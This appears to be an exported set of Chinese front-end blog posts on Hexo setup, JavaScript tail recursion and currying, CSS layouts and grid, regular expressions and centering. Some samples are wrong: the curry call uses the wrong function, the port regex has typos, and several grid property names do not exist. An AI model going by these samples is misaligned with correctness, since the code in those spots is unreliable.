|| home categories: /categories/ || th 以后文章的内容头声明的分类就会在分类页有索引了。 添加标签页跟添加分类页一样,文章也需要标签 12cd bloghexo new page tags 此时在blog/source目录下就生成了tags/index.md文件: 123456---title: 标签date: 2018-08-28 14:34:22type: tagscomments: false // 标签页不需要评论--- 然后,放开主题配置文件_config.yml中menu setting对tags注释 123menu: home: / || home tags: /tags/ || tags 以后文章的内容头声明的分类就会在分类页有分类了。 404页当访问当前站点,页面找不到,跳转到404页,推荐用腾讯公益404页面,寻找丢失儿童,让大家一起关注此项公益事业!使用方法,新建404.html页面,放到主题的source目录下,内容如下: 123456789101112131415161718&lt;!DOCTYPE HTML&gt;&lt;html&gt;&lt;head&gt; &lt;meta http-equiv="content-type" content="text/html;charset=utf-8;"/&gt; &lt;meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" /&gt; &lt;meta name="robots" content="all" /&gt; &lt;meta name="robots" content="index,follow"/&gt; &lt;link rel="stylesheet" type="text/css" href="https://qzone.qq.com/gy/404/style/404style.css"&gt;&lt;/head&gt;&lt;body&gt; &lt;script type="text/plain" src="http://www.qq.com/404/search_children.js" charset="utf-8" homePageUrl="/" homePageName="回到我的主页"&gt; &lt;/script&gt; &lt;script src="https://qzone.qq.com/gy/404/data.js" charset="utf-8"&gt;&lt;/script&gt; &lt;script src="https://qzone.qq.com/gy/404/page.js" charset="utf-8"&gt;&lt;/script&gt;&lt;/body&gt;&lt;/html&gt; 站点分析统计对于个人站点,我们需要统计用户访问量,用户分布,跳转率等。Next主题推荐使用的有百度统计、Google分析、腾讯分析了,使用均一样,注册获取站点统计id。 百度统计我一直用的百度统计,注册百度统计,管理 &gt; 网站列表 &gt; 新增网站完成后,代码管理 &gt; 代码获取,就能得到统计id。 12# Baidu Analytics IDbaidu_analytics: 统计id 不蒜子统计不蒜子统计可以统计站点以及每个页面的PV、UV和站点总的访问数,以小眼睛的形式展现。 编辑主题配置文件中的busuanzi_count的配置项。当enable: true时,代表开启全局开关。若total_visitors、total_views、post_views的值均为false时,不蒜子仅作记录而不会在页面上显示。 内容分享服务Next主题还提供了对外提供分享接口,包括百度分享、addthis Share和NeedMoreShare2,要用到哪个,只需把相应enable: true,注册账号获取id即可。 评论功能当前版本配置,支持畅言,Disqus,valine,gitment。 畅言 - 搜狐提供的评论组件,功能丰富,体验优异,防止注水;但必须进行域名备案。只要域名备过案就可以通过审核。 Disqus - 国外使用较多的评论组件。万里长城永不倒,一枝红杏出墙来,你懂的。 valine - LeanCloud提供的后端云服务,可用于统计网址访问数据,分为开发版和商用版,只需要注册生成应用App ID和App Key即可使用。 Ditment - Gitment 是一款基于GitHub Issues的评论系统。支持在前端直接引入,不需要任何后端代码。可以在页面进行登录、查看、评论、点赞等操作,同时有完整的Markdown / GFM和代码高亮支持。尤为适合各种基于GitHub Pages的静态博客或项目页面。 畅言要备案,对于对于挂靠在GitHub的博客非常的不友好,放弃!Disqus,目前国内网络环境访问不了,放弃!valine在用户没有认证登录可以评论,不能防止恶意注水,放弃!我选择用Gitment,让用户用自己的GitHub账号才能评论,用git的一个仓库来存储评论(评论以该仓库的issue形式展现)。 gitment配置Gitment的全部配置项如下, 123456789101112131415# Gitment# Introduction: https://imsun.net/posts/gitment-introduction/gitment: enable: true mint: true # RECOMMEND, A mint on Gitment, to support count, language and proxy_gateway count: true # Show comments count in post meta area lazy: false # Comments lazy loading with a button cleanly: true # Hide 'Powered by ...' on footer, and more language: zh-CN # Force language, or auto switch by theme github_user: xxx # MUST HAVE, Your Github Username github_repo: xxx # MUST HAVE, The name of the repo you use to store Gitment comments client_id: xxx # MUST HAVE, Github client id for the Gitment client_secret: xxx # EITHER this or proxy_gateway, Github access secret token for the Gitment proxy_gateway: # Address of api proxy, See: https://github.com/aimingoo/intersect redirect_protocol: # Protocol of redirect_uri with force_redirect_protocol when mint enabled 开启enable为true就显示评论框了,不过要真正实现评论可用,需要用自己的github账号注册一个应用许可证书,即OAuth application,注册成功就生成了client_id和client_secret。 步骤:你的github首页 &gt; settings &gt; Developer settings &gt; OAuth Apps &gt; New oAuth App。填写好相关信息,其中,Homepage URL和Authorization callback URL都写上你的github博客首页地址,比如https://xxx.github.io/,点击Register application即可完成注册,生成Client ID和Client Secret。 这样,用户点击评论框右边登入跳转到github授权,允许授权跳转回来就可以评论啦! 小坑:有些文章评论初始化弹出validation failed错误 因为GitHub的每个issues有两个lables,一个是gitment,另一个是id,id取的是页面pathname,标签长度限定不超过50个字符,而像一般中文标题文章,转义后字符很容易超过50个字符。 目录blog/themes/next/layout/_third-party/comments找到文件gitment.swig, 在这里我用文章创建时间戳来当作id,这样长度就不会超过50个字符,成功解决! 七、总结构建自己的博客并不难,也不需要什么专业代码基础,需要的是耐心而已(┭┮﹏┭┮都是配置)。PS:我的GitHub博客https://wuwhs.github.io 大佬拍轻点]]></content>
<categories>
<category>其它</category>
</categories>
<tags>
<tag>git nodejs hexo</tag>
</tags>
</entry>
<entry>
<title><![CDATA[尾调用]]></title>
<url>%2F2018%2F07%2F27%2F%E5%B0%BE%E8%B0%83%E7%94%A8%2F</url>
<content type="text"><![CDATA[前言面某东,有一道题目是 实现一个斐波拉契数列, 已知第一项为0,第二项为1,第三项为1,后一项是前两项之和,即f(n) = f(n - 1) + f(n -2)。 拿到这个题目,二话没想就写了 12345function f(n) &#123; if(n === 0) return 0; if(n === 1) return 1; return f(n - 1) + f(n -2);&#125; 后来回想,后悔死了,这明显没这么简单,每次递归调用都会呈指数往调用栈里增加记录“调用帧“,这样做,当项比较多,就会出现“栈溢出”的!!!也就是,这个答案是不及格的,正确姿势应该用尾递归优化,”调用帧“保持只有一个。正解也就是: 123456function f(n, prev, next) &#123; if(n &lt;= 1) &#123; return next; &#125; return f(n - 1, next, prev + next);&#125; 下面来复习一下知识点:尾调用和尾递归。PS:更好的方案请继续往下看。 尾调用尾调用是指某个函数的最后一步是调用另一个函数。 以下三种情况都不是尾调用: 123456789101112131415// 情况一function f(x) &#123; let y = g(x); return y;&#125;// 情况二function f(x) &#123; return g(x) + 1;&#125;// 情况三function f(x) &#123; g(x);&#125; 情况一是调用函数g之后,还有赋值操作,所以不属于尾调用,即使语义完全一样。情况二也是属于调用后还有操作。情况三等同于: 12g(x);return undefined; 函数调用会在内存形成一个“调用记录”,又称“调用帧”,保存调用位置和内存变量等信息。如果在函数A的内部调用函数B,那么在A的调用帧上方,还会形成一个B的调用帧。等到B运行结束,将结果返回到A,B的调用帧才会消失。如果函数B内部还调用函数C,那就还有一个C的调用帧,依次类推。所有的调用帧,就形成一个“调用栈”。 尾调用由于是函数的最后一步操作,所有不需要保留外层函数的调用帧,因为调用位置、内部变量等信息都不会再用到了,只要直接用内层函数的调用帧,取代外层函数的调用帧就可以了。 123456789101112131415function f() &#123; let m = 0; let n = 2; return g(m + n);&#125;f();// 等同于function f() &#123; return g(3);&#125;f();// 等同于g(3); 如果所有函数都是尾调用,那么完全可以做到每次执行时,调用帧只有一项,这将大大节省内存。这就是“尾调用优化”。 注意,只有不再用到外层函数的内部变量,内层函数的调用帧才会取代外层函数的调用帧,否则就无法进行“尾调用优化”。 1234567function addOne(a) &#123; var one = 1; function inner(b) &#123; return b + one; &#125; return inner(a);&#125; 尾递归函数调用自身,称为递归。如果尾调用自身,就称为尾递归。递归非常耗费内存,因为需要同时保存成百上千调用帧,很容易发生“栈溢出”错误。但对于尾递归来说,由于只存在一个调用帧,所以永远不会发生“栈溢出”错误。 12345function factorial(n) &#123; if (n === 1) return 1; return n * factorial(n - 1);&#125;console.log(factorial(5)); // 120 上面最多保存n个调用记录,复杂度是O(n)。 如果改成尾递归,只保留一个调用记录,复杂度O(1)。 12345function factorial(n, total) &#123; if (n === 0) return total; return factorial(n - 1, n * total);&#125;console.log(factorial(5, 1)); // 120 下面回到我们的主题,计算Fibonacci数列。 123456function fibonacci(n) &#123; if(n &lt;= 1) return 1; return fibonacci(n -1) + fibonacci(n -2);&#125;console.log(fibonacci(10)); // 89console.log(fibonacci(50)); // stack overflow 上面不使用尾递归,项数稍大点就发生”栈溢出“了。 1234567function fibonacci(n, prev, next) &#123; if(n &lt;= 1) return next; return fibonacci(n-1, next, prev + next);&#125;console.log(fibonacci(10, 1, 1)); // 89console.log(fibonacci(100, 1, 1)); // 573147844013817200000console.log(fibonacci(1000, 1, 1)); // 7.0330367711422765e+208 上面项数再大都状态良好。 柯理化改写尾递归的实现,往往需要改写递归函数,确保最后一步只调用自身。做到这一点的方法,就是把所有用到的内部变量改写成函数的参数。但是这样的话就会增加初始入参,比如fibonacci(10, 1, 1),后面的两个参数1和1意思不明确,直接用fibonacci(100)才是习惯用法。所以需要在中间预先设置好初始入参,将多个入参转化成单个入参的形式,叫做函数柯理化。通用方式为: 12345678function curry(fn) &#123; var args = Array.prototype.slice.call(arguments, 1); return function () &#123; var innerArgs = Array.prototype.slice.call(arguments); var finalArgs = innerArgs.concat(args); return fn.apply(null, finalArgs); &#125;&#125; 用函数柯理化改写阶乘 1234567function tailFactorial(n, total) &#123; if(n === 1) return total; return tailFactorial(n - 1, n * total);&#125;var factorial = curry(tailFactorial, 1);console.log(factorial(5)); // 120 同样改写斐波拉契数列 123456789function tailFibonacci(n, prev, next) &#123; if(n &lt;= 1) return next; return tailFibonacci(n - 1, next, prev + next);&#125;var fibonacci = curry(fibonacci, 1, 1);console.log(fibonacci(10)); // 89console.log(fibonacci(100)); // 573147844013817200000console.log(fibonacci(1000)); // 7.0330367711422765e+208 ES6改写柯理化的过程其实是初始化一些参数的过程,在ES6中,是可以直接函数参数默认赋值的。 用ES6改写阶乘 12345const factorial = (n, total = 1) =&gt; &#123; if(n === 1) return total; return factorial(n - 1, n * total);&#125;console.log(factorial(5)); // 120 用ES6改写斐波拉契数列 1234567const fibonacci = (n, prev = 1, next = 1) =&gt; &#123; if(n &lt;= 1) return next; return fibonacci(n - 1, next, prev + next);&#125;console.log(fibonacci(10)); // 89console.log(fibonacci(100)); // 573147844013817200000console.log(fibonacci(1000)); // 7.0330367711422765e+208 ps:用ES6极大方便了算法运用! 总结综上,这个问题解决的思路是: 尾递归+函数柯理化; 尾递归+ES6默认赋值; 算法题永远要想到性能问题,不能只停留到表面,默哀三秒钟,[悲伤脸.gif]。]]></content>
<categories>
<category>javascript</category>
</categories>
<tags>
<tag>javascript</tag>
<tag>算法</tag>
</tags>
</entry>
<entry>
<title><![CDATA[搞定css三列布局]]></title>
<url>%2F2018%2F07%2F22%2F%E6%90%9E%E5%AE%9Acss%E4%B8%89%E5%88%97%E5%B8%83%E5%B1%80%2F</url>
<content type="text"><![CDATA[谈到布局,首先就要想到定位,当别人问我,css的position定位有哪些取值,分别表示什么意思?呃….. 定位position有六个属性值:static、relative、absolute、fixed、sticky和inherit。 static(默认):元素框正常生成。块级元素生成一个矩形框,作为文档流的一部分;行内元素则会创建一个或多个行框,置于父级元素中。 relative:元素框相对于之前正常文档流中的位置发生偏移,并且原先的位置仍然被占据。发生偏移的时候,可能会覆盖其他元素。 absolute:元素框不再占有文档位置,并且相对于包含块进行偏移(所谓包含块就是最近一级外层元素position不为static的元素)。 fixed:元素框不再占有文档流位置,并且相对于视窗进行定位。 sticky:css3新增属性值,粘性定位,相当于relative和fixed的混合。最初会被当作是relative,相对原来位置进行偏移;一旦超过一定的阈值,会被当成fixed定位,相对于视口定位。 三列布局三列布局,其中一列宽度自适应,在PC端最常用之一,搞定了三列布局,其他一样的套路。 方式一:浮动布局缺点:html结构不正确,当包含区域宽度小于左右框之和,右边框会被挤下来 1234567891011121314151617181920212223242526272829303132&lt;style&gt; .tree-columns-layout.float .left &#123; float: left; width: 300px; background-color: #a00; &#125; .tree-columns-layout.float .right &#123; float: right; width: 300px; background-color: #0aa; &#125; .tree-columns-layout.float .center &#123; /* left: 300px; right: 300px; */ margin: 0 300px; background-color: #aa0; overflow: auto; &#125;&lt;/style&gt;&lt;section class="tree-columns-layout float"&gt; &lt;article class="left"&gt; &lt;h1&gt;我是浮动布局左框&lt;/h1&gt; &lt;/article&gt; &lt;article class="right"&gt; &lt;h1&gt;我是浮动布局右框&lt;/h1&gt; &lt;/article&gt; &lt;article class="center"&gt; &lt;h1&gt;我是浮动布局中间框&lt;/h1&gt; &lt;/article&gt;&lt;/section&gt; 方式二:定位布局缺点:要求父级要有非static定位,如果没有,左右框容易偏移出去 1234567891011121314151617181920212223242526272829303132333435363738&lt;style&gt; .tree-columns-layout.position &#123; position: relative; &#125; .tree-columns-layout.position .left &#123; position: absolute; left: 0; top: 0; width: 300px; background-color: #a00; &#125; .tree-columns-layout.position .right &#123; position: absolute; right: 0; top: 0; width: 300px; background-color: #0aa; &#125; .tree-columns-layout.position .center &#123; margin: 0 300px; background-color: #aa0; overflow: auto; &#125;&lt;/style&gt;&lt;section class="tree-columns-layout position"&gt; &lt;article class="left"&gt; &lt;h1&gt;我是浮动定位左框&lt;/h1&gt; &lt;/article&gt; &lt;article class="center"&gt; &lt;h1&gt;我是浮动定位中间框&lt;/h1&gt; &lt;/article&gt; &lt;article class="right"&gt; &lt;h1&gt;我是浮动定位右框&lt;/h1&gt; &lt;/article&gt;&lt;/section&gt; 方式三:表格布局缺点:没什么缺点,恐惧table 123456789101112131415161718192021222324252627282930313233343536&lt;style&gt; .tree-columns-layout.table &#123; display: table; width: 100%; &#125; .tree-columns-layout.table &gt; article &#123; display: table-cell; &#125; .tree-columns-layout.table .left &#123; width: 300px; background-color: #a00; &#125; .tree-columns-layout.table .center &#123; background-color: #aa0; &#125; .tree-columns-layout.table .right &#123; width: 300px; background-color: #0aa; &#125;&lt;/style&gt;&lt;section class="tree-columns-layout table"&gt; &lt;article class="left"&gt; &lt;h1&gt;我是表格布局左框&lt;/h1&gt; &lt;/article&gt; &lt;article class="center"&gt; &lt;h1&gt;我是表格布局中间框&lt;/h1&gt; &lt;/article&gt; &lt;article class="right"&gt; &lt;h1&gt;我是表格布局右框&lt;/h1&gt; &lt;/article&gt;&lt;/section&gt; 方式四:flex弹性布局缺点:兼容性 123456789101112131415161718192021222324252627282930313233&lt;style&gt; .tree-columns-layout.flex &#123; display: flex; &#125; .tree-columns-layout.flex .left &#123; width: 300px; flex-shrink: 0; /* 不缩小 */ background-color: #a00; &#125; .tree-columns-layout.flex .center &#123; flex-grow: 1; /* 增大 */ background-color: #aa0; &#125; .tree-columns-layout.flex .right &#123; flex-shrink: 0; /* 不缩小 */ width: 300px; background-color: #0aa; &#125;&lt;/style&gt;&lt;section class="tree-columns-layout flex"&gt; &lt;article class="left"&gt; &lt;h1&gt;我是flex弹性布局左框&lt;/h1&gt; &lt;/article&gt; &lt;article class="center"&gt; &lt;h1&gt;我是flex弹性布局中间框&lt;/h1&gt; &lt;/article&gt; &lt;article class="right"&gt; &lt;h1&gt;我是flex弹性布局右框&lt;/h1&gt; &lt;/article&gt;&lt;/section&gt; 方式五:grid栅格布局缺点:兼容性 Firefox 52, Safari 10.1, Chrome 57, Opera 44 1234567891011121314151617181920212223242526272829&lt;style&gt; .tree-columns-layout.grid &#123; display: grid; grid-template-columns: 300px 1fr 300px; &#125; .tree-columns-layout.grid .left &#123; background-color: #a00; &#125; .tree-columns-layout.grid .center &#123; background-color: #aa0; &#125; .tree-columns-layout.grid .right &#123; background-color: #0aa; &#125;&lt;/style&gt;&lt;section class="tree-columns-layout grid"&gt; &lt;article class="left"&gt; &lt;h1&gt;我是grid栅格布局左框&lt;/h1&gt; &lt;/article&gt; &lt;article class="center"&gt; &lt;h1&gt;我是grid栅格布局中间框&lt;/h1&gt; &lt;/article&gt; &lt;article class="right"&gt; &lt;h1&gt;我是grid栅格布局右框&lt;/h1&gt; &lt;/article&gt;&lt;/section&gt; 方式六:圣杯布局缺点:需要多加一层标签,html顺序不对,占用了布局框的margin属性 123456789101112131415161718192021222324252627282930313233343536373839404142434445&lt;style&gt; .tree-columns-layout.cup:after &#123; clear: both; content: ""; display: table; &#125; .tree-columns-layout.cup .center &#123; width: 100%; float: left; &#125; .tree-columns-layout.cup .center &gt; div &#123; margin: 0 300px; overflow: auto; background-color: #aa0; &#125; .tree-columns-layout.cup .left &#123; width: 300px; float: left; margin-left: -100%; background-color: #a00; &#125; .tree-columns-layout.cup .right &#123; width: 300px; float: left; margin-left: -300px; background-color: #0aa; &#125;&lt;/style&gt;&lt;section class="tree-columns-layout cup"&gt; &lt;article class="center"&gt; &lt;div&gt; &lt;h1&gt;我是圣杯布局中间框&lt;/h1&gt; &lt;/div&gt; &lt;/article&gt; &lt;article class="left"&gt; &lt;h1&gt;我是圣杯布局左框&lt;/h1&gt; &lt;/article&gt; &lt;article class="right"&gt; &lt;h1&gt;我是圣杯布局右框&lt;/h1&gt; &lt;/article&gt;&lt;/section&gt;]]></content>
<categories>
<category>css</category>
</categories>
<tags>
<tag>css</tag>
<tag>布局</tag>
</tags>
</entry>
<entry>
<title><![CDATA[正则表达式]]></title>
<url>%2F2018%2F06%2F22%2F%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%2F</url>
<content type="text"><![CDATA[对字符串的处理,一般分为字符串操作和正则操作。 字符串操作 str.search(regStr) 返回 regStr 在 str 中第一个出现的位置 str.replace(regStr,newStr) 返回替换在 str 中 regStr 后字符串 str.substring(n1,n2) 返回 str 从 n1 位置到 n2 位置前一个字符串 str.chartAt(n) 返回 n 位置字符 str.split(regStr) 返回以 regStr 隔开的数组 str.match(reg) 返回在 str 中符合正则 reg 的字符串数组 正则操作var reg=new RegExp(regStr,’i’); //创建正则对象 var reg=/regStr/i; //隐式创建正则对象 reg.test(str) str 是否包含 reg 返回 true/false reg.exec(str) 返回匹配到的字符串和最后一次的匹配字符串最后位置的下一个索引 基础用法 /a|b/ a 或 b /[abc]/ a 或 b 或 c /[a-zA-Z0-9]/ 所有数字和字母 /[^a-za-z0-9]/ 除了数字和字母 /.+/ 任意字符 /\d/ 等价于/[0-9]/ 数字 /\w/ 等价于/[a-z0-9_]/ 数字、字母和下划线 /\s/ 等价于/“ “/ 空格 /\D/ 等价于/[^0-9]/ 非数字 /\W/ 等价于/[^a-z0-9_]/ 除了数字、字母和划线 /\S/ 等价于/[^” “]/ 除了空格 /\d{n,m}/ 数字最少出现 n 次,最多出现 m 次 /\d{1,}/ 等价于/\d+/ 数字最少出现 1 次 /\d{0,}/ 等价于/\d*/ 数字最少出现 0 次 /\d{0,1}/ 等价于/\d?/ 数字最多出现 1 次 /^\d$/ 以数字开头且以数字结尾 /[\u4e00-\u9fa5]/ 汉字匹配范围 \b 单词边界 \B 非单词边界 ?=n 匹配任何其后紧接指定字符串 n 的字符串 ?!n 匹配任何其后没有紧接指定字符串 n 的字符串 疑难点在个人接触正则过程中遇到的一些不易理解的地方 用圆括号将所有选择项括起来,相邻的选择项之间用|分隔。但用圆括号会有一个副作用,是相关的匹配会被缓存,此时可用?:放在第一个选项前来消除这种副作用。其中?:是非捕获元之一,还有两个非捕获元是?=和?!,这两个还有更多的含义,前者为正向预查,在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串,后者为负向预查,在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串。 表达式 描述 (?:pattern) 匹配 pattern 但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。这在使用 “或” 字符 (\ ) 来组合一个模式的各个部分是很有用。例如, ‘industr(?:y\ ies) 就是一个比 ‘industry\ industries’ 更简略的表达式。 (?=pattern 正向预查,在任何匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如,’Windows (?=95\ 98\ NT\ 2000)’ 能匹配 “Windows 2000” 中的 “Windows” ,但不能匹配 “Windows 3.1” 中的 “Windows”。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。 (?!pattern) 负向预查,在任何不匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如’Windows (?!95\ 98\ NT\ 2000)’ 能匹配 “Windows 3.1” 中的 “Windows”,但不能匹配 “Windows 2000” 中的 “Windows”。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。 一直对正则中的 match 和 exec 不易分清,下面来做一下比较。 1. matchmatch 方法属于 String 正则表达方法 语法: 1str.match(regexp) str:要进行匹配的字符串 regexp:一个正则表达式(或者由 RegExp()构造成的正则表达式) match 的用法主要区分就是正则表达式是否有全局标示 g 如果有 g 全局标志,那么返回的数组保存的是,所有匹配的内容。 如果没有 g 全局标志,那么返回的数组 arr.arr[0]保存的是完整的匹配.arr[1]保存的是第一个括号里捕获的字串,依此类推 arr[n]保存的是第 n 个括号捕获的内容。 2. exec与 match 方法不同 exec 属于正则表达式的方法 语法: 1var result1 = regexp.exec(str); regexp:正则表达式 str:要匹配的字串 exec 与 match 的关联就是 exec(g 有没有都无影响)就等价于不含有 g 全局标志的 match,即返回数组 arr[0]为匹配的完整串,其余的为括号里捕获的字符串。 但如果有 g 对 exec 本身的影响是,当一个具有 g 的正则表达式调用 exec()时,他将该对象的 lastIndex 设置到紧接这匹配子串的字符位置。当第二次调用 exec 时将从lastIndex 所指示的字符位置开始检索,利用这个特点可以反复调用 exec 遍历所有匹配,等价于 match 具有 g 标志。 1234var arrmatch = str.match(reg);for(var i =0; i &lt; arrmatch.length; i++)&#123; document.write(arrmatch[i] +&quot;----&gt;&quot;);&#125; 可见上面的 exec 和 match 是等价的. reg.exec(str) 返回匹配到的字符串和最后一次的匹配字符串最后位置的下一个索引如: 1234567891011121314var str = &quot;abc123bef345olj89,ed&quot;;var reg = /\d+/g;console.log(reg.exec(str));console.log(reg.lastIndex);console.log(reg.exec(str));console.log(reg.lastIndex);console.log(reg.exec(str));console.log(reg.lastIndex);console.log(reg.exec(str));console.log(reg.lastIndex); 结果 总结 主要区分 match 具有 g 和没有 g 的区别,没有 g 的时候与 exec 是等价的。 而 exec 返回的串类型不受 g 影响,但具有 g 时候会驱动 lastIndex 可以模拟遍历所有匹配,可以与 match 具有 g 的时候等价。 顺便加强理解 ip 正则表达式格式由”.”分割成四段,每一段范围是 0-255,拿出其中一段进行分析 范围 表达式 0-9 \d 10-99 [1-9]\d 100-199 1\d{2} 200-249 2[0-4]\d 250-255 25[0-5] 所以,其中一段构成的正则表达式是 1\d|[1-9]\d|1\d&#123;2&#125;|2[0-4]\d|25[0-5] ,整个 ip 正则为 1/^(\d|[1-9]\d|1\d&#123;2&#125;|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d&#123;2&#125;|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d&#123;2&#125;|2[0-4]\d|25[0-5])\.(\d|[1-9]\d|1\d&#123;2&#125;|2[0-4]\d|25[0-5])$/ 同理端口号范围是 0-65535 范围 表达式 0-9 \d 10-99 [1-9]\d 100-999 [1-9]\d{2} 1000-9999 [1-9]\d{3} 10000-59999 [1-5]\d{4} 60000-64999 6[0-4]\d{3} 65000-65499 65[0-4]\d{2} 65500-65529 655[0-2]\d 65530-65535 65553[0-5] 所以,整个端口号正则为 1/\d|[1-9]\d&#123;1,3&#125;|[1-5]d&#123;4&#125;|6[0-4]\d&#123;3&#125;|65[0-4]\d&#123;2&#125;|655[0-2]\d|65553[0-5]/ 参考菜鸟教程正则教程]]></content>
<categories>
<category>javascript</category>
</categories>
<tags>
<tag>javascript 正则</tag>
</tags>
</entry>
<entry>
<title><![CDATA[grid栅格布局]]></title>
<url>%2F2018%2F06%2F15%2Fgrid%E6%A0%85%E6%A0%BC%E5%B8%83%E5%B1%80%2F</url>
<content type="text"><![CDATA[1、历史四个布局阶段网页布局经历了四个历史阶段: table布局; float和position布局; flex布局,解决了传统布局方案三大痛点:排列方向、对齐方式和自适应尺寸; grid布局,二维布局模块,具有强大的内容尺寸和定位能力。 flex分为伸缩容器和伸缩项目,grid分为网格容器和网格项目。 2、grid布局-网格容器2.1 显示网格使用grid-template-columns和grid-template-rows可以显式设置一个网格的列(宽)和行(高)。 12345&lt;!--grid布局设置行高--&gt;.grid &#123; display: grid; grid-template-rows: 60px 40px;&#125; 1234.grid &#123; display: grid; grid-template-columns: 40px 50px 60px;&#125; fr单位表示网格容器中可用空间按比列分配。 12345.grid &#123; display: grid; grid-template-rows: 1fr 2fr; grid-template-colums: 1fr 1fr 2fr;&#125; minmax()函数来创建网格轨道的最小或最大尺寸。 12345.grid &#123; display: grid; grid-template-rows: minmax(100px, auto); grid-template-columns: 1fr 1fr 2fr;&#125; 使用repeat()可以创建重复的网络轨道,适用于创建相等尺寸的网格项目和多个网格项目。 12345.grid &#123; display: grid; grid-template-columns: 30px repeat(3, 1fr) 30px; grid-template-rows: repeat(3, 1fr);&#125; 2.2 间距 grid-columns-gap: 列与列之间的间距 grid-rows-gap: 行与行之间的间距 grid-gap: grid-columns-gap和grid-rows-gap的缩写 123456.grid &#123; display: grid; grid-template-columns: 1fr 1fr 2fr; grid-template-rows: 1fr 2fr; grid-gap: 5px 10px;&#125; 3、grid布局-网格项目通过网格线可以定位网格项目。网格线实际上是代表线的开始、结束,两者之间就是网格列表或行。每条线是从网格轨道开始,网格的网格线从1开始,每条网格线逐步增加1。 1234567891011.grid &#123; display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 1fr 2fr;&#125;.item1 &#123; grid-rows-start: 2; grid-columns-start: 2; grid-columns-end: 4;&#125; grid-row是grid-row-start和grid-row-end的简写。grid-columns是grid-columns-start和grid-columns-end的简写。 关键字span后面紧随数字,表示合并多少个列或行 12345678910.grid &#123; display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 1fr 1fr;&#125;.item1 &#123; grid-row: 2/span 2; grid-column: span 3;&#125; grid-area 指定四个值,1:grid-row-start 2: grid-column-start 3: grid-row-end 4: grid-column-end 123456789.grid &#123; display: grid; grid-template-columns: 1fr 1fr 1fr; grid-template-rows: 1fr 1fr;&#125;.item1 &#123; gird-area: 1/2/2/4;&#125; grid目前的支持度还不是很多,IE完全不支持,支持的浏览器有Firefox 52, Safari 10.1, Chrome 57, Opera 44,了解上面这些就够了,深入了解其他特性]]></content>
<categories>
<category>css</category>
</categories>
<tags>
<tag>css</tag>
</tags>
</entry>
<entry>
<title><![CDATA[水平且垂直居中方法(10种)]]></title>
<url>%2F2018%2F06%2F01%2Fhorizontally-centered-vertically%2F</url>
<content type="text"><![CDATA[前言水平且垂直居中方法有哪些?这在实际工作中经常用到,小记一下。 演示HTML结构1234567&lt;div id="div1" class="div"&gt; &lt;div id="div2"&gt; &lt;div id="div3"&gt; &lt;span&gt;i&lt;/span&gt; &lt;/div&gt; &lt;/div&gt;&lt;/div&gt; 基本思想一般的,水平居中相对垂直居中简单很多,对于内联元素(inline、inline-block、inline-table和inline-flex),父级元素设置text-align: center;;对于块级元素,子级元素设置margin: 0 auto;。以下结合水平居中强调实现垂直居中。 1、已知父级元素宽高,父级元素定位非 static ,子级元素定位设为 position: absolute/fixed ,再利用 margin 、 left 和 top 属性居中。1234567891011121314151617#div1 &#123; width: 200px; height: 200px; position: relative; background-color: #ffff00;&#125;#div2 &#123; width: 100px; height: 100px; position: absolute; top: 50%; left: 50%; margin-left: -50px; margin-top: -50px; background-color: #ff00ff;&#125; 注:需要已知父级元素固定宽高,才能确定 margin-left 和 margin-right 。 2、子级元素是内联元素,父级元素设置 line-height 属性垂直居中。1234567891011121314151617#div1 &#123; width: 200px; height: 200px; line-height: 120px; text-align: center; position: relative; background-color: #ffff00;&#125;#div2 &#123; width: 100px; height: 100px; line-height: normal; text-align: left; display: inline-block; background-color: #ff00ff;&#125; 注:需要已知父级元素的固定高度,才可以确定line-height。 3、子级元素是内联元素,父级元素用 display: table-cell; 和 vertical-align: middle; 属性实现垂直居中。123456789101112131415#div1 &#123; width: 200px; height: 200px; display: table-cell; text-align: center; vertical-align: middle; background-color: #ffff00;&#125;#div2 &#123; width: 100px; height: 100px; display: inline-block; background-color: #ff00ff;&#125; 注:无需要确定父级元素的宽高,inline-block 、 table-cell 不兼容ie67 看到还有一种方案,是借助伪元素 ::after 将容器撑高,实现内联元素垂直居中 1234567891011121314151617181920#div1 &#123; width: 200px; height: 200px; background-color: #ffff00; text-align: center;&#125;#div1::after &#123; content: ""; display: inline-block; height: 100%; vertical-align: middle;&#125;#div2 &#123; width: 100px; display: inline-block; background-color: #cccccc; vertical-align: middle;&#125; 缺点:较难以理解,只适用于一个子级内联元素(有多个子元素不适用) 4、对于子级是块级元素,父级元素同样用 display: table-cell; 和 vertical-align: middle; 属性实现垂直居中,水平方向居中用 margin: 0 auto; 。1234567891011121314#div1 &#123; width: 200px; height: 200px; display: table-cell; vertical-align: middle; background-color: #ffff00;&#125;#div2 &#123; width: 100px; height: 100px; margin: 0 auto; background-color: #ff00ff;&#125; 注:无需要确定父级元素的宽高,table-cell不兼容ie67 5、利用css3 translate 特性:位移是基于元素宽高的。12345678910111213141516171819#div1 &#123; width: 200px; height: 200px; position: relative; background-color: #ffff00;&#125;#div2 &#123; width: 100px; height: 100px; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); -webkit-transform: translate(-50%, -50%); -moz-transform: translate(-50%, -50%); -ms-transform: translate(-50%, -50%); background-color: #ff00ff;&#125; 注:无需要确定父级元素的宽高,translate属性兼容IE9+ 6、当父级是浮动的,用 display: table-cell; 会失效,这时需要包三层,第一层 display: table;,第二层 display: table-cell; 第三次居中层12345678910111213141516171819202122232425#div1 &#123; width: 200px; height: 200px; position: relative; display: table; background-color: #ffff00; float: left;&#125;#div2 &#123; width: 100%; height: 100%; display: table-cell; vertical-align: middle; /* text-align: center; */ background-color: #cccccc;&#125;#div3 &#123; width: 100px; height: 100px; 